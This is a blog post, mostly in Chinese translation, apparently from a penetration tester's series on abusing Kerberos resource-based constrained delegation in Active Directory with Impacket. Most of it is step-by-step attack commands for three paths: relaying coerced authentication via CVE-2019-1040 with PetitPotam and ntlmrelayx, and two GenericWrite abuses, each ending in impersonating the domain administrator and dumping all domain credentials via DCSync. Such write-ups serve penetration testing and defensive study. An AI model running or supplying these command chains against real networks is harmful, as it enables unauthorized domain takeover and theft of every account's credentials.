利用Impacket滥用委派机制(三):基于资源的约束委派攻击详解

本文深入探讨了如何利用Impacket工具滥用基于资源的约束委派机制进行权限提升,涵盖CVE-2019-1040漏洞利用、GenericWrite权限滥用等多种攻击手法,并提供了详细的操作步骤和命令示例。

Abusing Delegation with Impacket (Part 3): Resource-Based Constrained Delegation

| Hunter Wade

Hunter recently graduated with his Master’s degree in Cyber Defense and has over two years of experience in penetration testing. His favorite area of testing is Active Directory, and in his free time, he enjoys working in his home lab and analyzing malware.

This blog has been cross-posted. We’re grateful to Hunter for allowing us to share this insightful work—you can check out the original post in full HERE.

This is the third in a three-part series of blog posts discussing how to abuse Kerberos delegation! If you haven’t already, feel free to read the first blog post, as they discuss the Kerberos authentication process and how delegation plays an important role in solving the double-hop problem, and how to abuse unconstrained delegation. The second blog post discusses how to abuse constrained delegation!

什么是基于资源的约束委派?

基于资源的约束委派(RBCD)与约束委派类似,但资源本身控制着哪些账户可以委派给它。默认情况下,域账户可以为他们自己或他们控制的任何资源配置 RBCD。这种方法让服务决定谁可以委派给它,而不是由域决定。

基于资源的约束委派滥用技术

基于资源的约束委派有点特殊,主要体现在其配置方式上。它本身对横向移动或权限提升作用有限。此外,配置 RBCD 通常需要以某种方式攻陷一台主机,这很快就使它成为一种“先有鸡还是先有蛋”的困境。

也就是说,当你开始结合 CVE 漏洞和配置错误的权限时,RBCD 就变得有趣多了。本文涵盖了两种主要方法,允许攻击者任意操纵尚未被攻陷的服务的 RBCD 权限:

  • Drop the MIC – CVE-2019-1040
  • GenericWrite DACL 滥用(机器账户)
  • GenericWrite DACL 滥用(用户 SPN)

1. 利用 Drop the MIC 配置 RBCD

CVE-2019-1040(Drop the MIC)绕过了 SMB 签名。通过在 SMB 身份验证期间有效地“丢弃 MIC”,易受攻击的主机即使在被攻击者中继后仍然接受连接。这可以被利用来中继协议,例如强制 SMB 认证到 LDAP,从而允许以被中继的主机身份配置 RBCD。这种方法通常至少需要两个域控制器。

假设我们已攻陷用户 user.one,密码为 Password1!,该用户没有任何特殊权限或配置,只是一个默认用户。

如果我们处于一个至少有两个域控制器(DC01DC02)的域中,并且其中至少一个易受 CVE-2019-1040 攻击(DC01),我们可以利用该用户的基本权限来强制认证,在丢弃 MIC 的同时中继连接,并配置基于资源的约束委派以信任攻击者控制的资源进行委派。

高级步骤如下:

  1. 攻陷域中的一个用户或机器。
  2. 识别一个易受 CVE-2019-1040 攻击的域控制器。
  3. 强制第二个域控制器向攻击者进行身份验证。
  4. 丢弃 MIC 并将身份验证中继到易受攻击域控制器的 LDAP。
  5. 使用此会话通过机器账户配额添加一个机器账户。
  6. 使用此会话通过 RBCD 信任该 MAQ 机器进行委派。

1. 查找易受 CVE-2019-1040 攻击的机器 (10.0.1.202) NetExec v1.4.0 SmoothOperator 现在有一个 remove-mic 扫描器!

1
nxc smb 10.0.1.202 -u 'user.one' -p 'Password1!' -M remove-mic

2. 配置 NTLMRelayx 以丢弃 MIC 并中继到 LDAP (10.0.1.202)

1
sudo impacket-ntlmrelayx -smb2support -t ldaps://10.0.1.202 --delegate-access --remove-mic

3. 强制第二个 DC (10.0.1.203) 向我们 (10.0.1.13) 进行身份验证

1
python3 PetitPotam.py -u 'user.one' -p 'Password1!' -d 'insecure.local' 10.0.1.13 10.0.1.203

4. 如果成功,NTLMRelayx 将以 DC02$ 身份进行验证,添加一个机器账户,并信任其进行委派

5. 使用 XEWRIYIH$ 的密码,我们可以获取一个域管理员到 DC02 的服务票据(S4U2Self + S4U2Proxy)

1
impacket-getST -dc-ip 10.0.1.203 -impersonate 'administrator' -spn 'host/DC02.insecure.local' 'insecure.local/XEWRIYIH$':'.*;jl{6qA_:.S_/'

6. 将票据导出到内存中

1
export KRB5CCNAME=administrator@host_DC02.insecure.local@INSECURE.LOCAL.ccache

7. 以 administrator 身份对 DC02 执行 DCSync

1
impacket-secretsdump -k DC02.insecure.local

8. (清理)移除添加的机器账户(仅管理员用户可操作)

1
impacket-addcomputer -computer-name 'DOAIMDJJ$' -dc-ip 10.0.1.202 -delete -hashes 'aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f' 'insecure.local/administrator'

2. 添加机器账户并使用 GenericWrite 配置 RBCD

假设我们已攻陷用户 dacluser,密码为 Password3#,该用户对域控制器 DC01.secure.local 具有 GenericWrite 权限。

如果用户主体对 Active Directory 对象(如用户或机器)具有“写入所有属性”(GenericWrite)权限,则该用户可以配置基于资源的约束委派,以信任任何用户/机器进行委派。

为了在域内提升权限,我们可以简单地在 DC01$ 上配置 RBCD,以信任使用机器账户配额(MAQ)添加的机器。

高级步骤如下:

  1. 攻陷一个对某个对象具有 GenericWrite 权限的用户或机器。
  2. 通过机器账户配额(MAQ)向域中添加一台新计算机。
  3. 在受影响的对象上配置 RBCD,以信任所添加的机器账户进行委派。
  4. 使用 S4U2Self 和 S4U2Proxy 获取一个高权限用户到新委派资源的服务票据。

1. 使用 Bloodhound 查找 GenericWrite 配置

1
nxc ldap 10.0.1.200 -d 'secure.local' -u 'dacluser' -p 'Password3#' --dns-server 10.0.1.200 --bloodhound --collection All

2. 使用机器账户配额添加一台名为 machine$ 的新计算机

1
impacket-addcomputer -computer-name 'machine$' -computer-pass 'machinepass!' -dc-host 10.0.1.200 'secure.local/dacluser':'Password3#'

3. 配置 DC01$ 以信任 machine$ 进行委派

1
impacket-rbcd -delegate-from 'machine$' -delegate-to 'DC01$' -dc-ip 10.0.1.200 -action 'write' 'secure.local/dacluser':'Password3#'

4. 使用 machine$ 的凭据,我们可以获取一个域管理员到 DC01 的服务票据(S4U2Self + S4U2Proxy)

1
impacket-getST -spn 'host/DC01.secure.local' -impersonate 'administrator' -dc-ip 10.0.1.200 'secure.local/machine$':'machinepass!'

5. 将票据导出到内存中

1
export KRB5CCNAME=administrator@host_DC01.secure.local@SECURE.LOCAL.ccache

6. 以 administrator 身份对 DC01 执行 DCSync

1
impacket-secretsdump -k DC01.secure.local

3. 添加用户 SPN 并使用 GenericWrite 配置 RBCD

假设我们已攻陷用户 dacluser,密码为 Password3#,该用户对域控制器 DC01.secure.local 具有 GenericWrite 权限。

如果用户主体对 Active Directory 对象(如用户或机器)具有“写入所有属性”(GenericWrite)权限,则该用户可以配置基于资源的约束委派,以信任任何用户/机器进行委派。

为了在域内提升权限,我们可以简单地在 DC01$ 上配置 RBCD,以信任 dacluser 进行委派。

这条路径与之前利用机器账户配额的路径相同,但不是利用 MAQ,如果我们信任 dacluser 进行委派,那么该用户必须分配有一个 SPN 才能成功生成票据

高级步骤如下:

  1. 攻陷一个对某个对象具有 GenericWrite 权限的用户或机器。
  2. 如果需要,向已攻陷的用户添加一个 SPN。
  3. 配置受影响的对象以信任已攻陷的用户进行委派。
  4. 使用 S4U2Self 和 S4U2Proxy 获取一个高权限用户到新委派资源的服务票据。

1. 使用 Bloodhound 查找 GenericWrite 配置

1
nxc ldap 10.0.1.200 -d 'secure.local' -u 'dacluser' -p 'Password3#' --dns-server 10.0.1.200 --bloodhound --collection All

2. 配置 DC01$ 以信任 dacluser 进行委派

1
impacket-rbcd -delegate-from 'dacluser' -delegate-to 'DC01$' -dc-ip 10.0.1.200 -action 'write' 'secure.local/dacluser':'Password3#'

3. 如果 dacluser 还没有 SPN,则为其添加一个(DACL.secure.local)

1
python3 addspn.py -u secure.local\dacluser -p 'Password3#' -s host/DACL.secure.local --target-type samname 10.0.1.200

4. 使用 dacluser 的凭据,我们可以获取一个域管理员到 DC01 的服务票据(S4U2Self + S4U2Proxy)

1
impacket-getST -spn 'host/DC01.secure.local' -impersonate administrator 'secure.local/dacluser':'Password3#' -dc-ip 10.0.1.200

5. 将票据导出到内存中

1
export KRB5CCNAME=administrator@host_DC01.secure.local@SECURE.LOCAL.ccache

6. 以 administrator 身份对 DC01 执行 DCSync

1
impacket-secretsdump -k DC01.secure.local

结论

基于资源的约束委派是一个有趣且微妙的配置,就其本身而言,对攻击者的价值不大。但当与已知漏洞、过于强大的权限或其他外部因素相结合时,它就变得有价值得多!

参考文献

Ready to learn more? Level up your skills with affordable classes from Antisyphon! Pay-Forward-What-You-Can Training Available live/virtual and on-demand

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计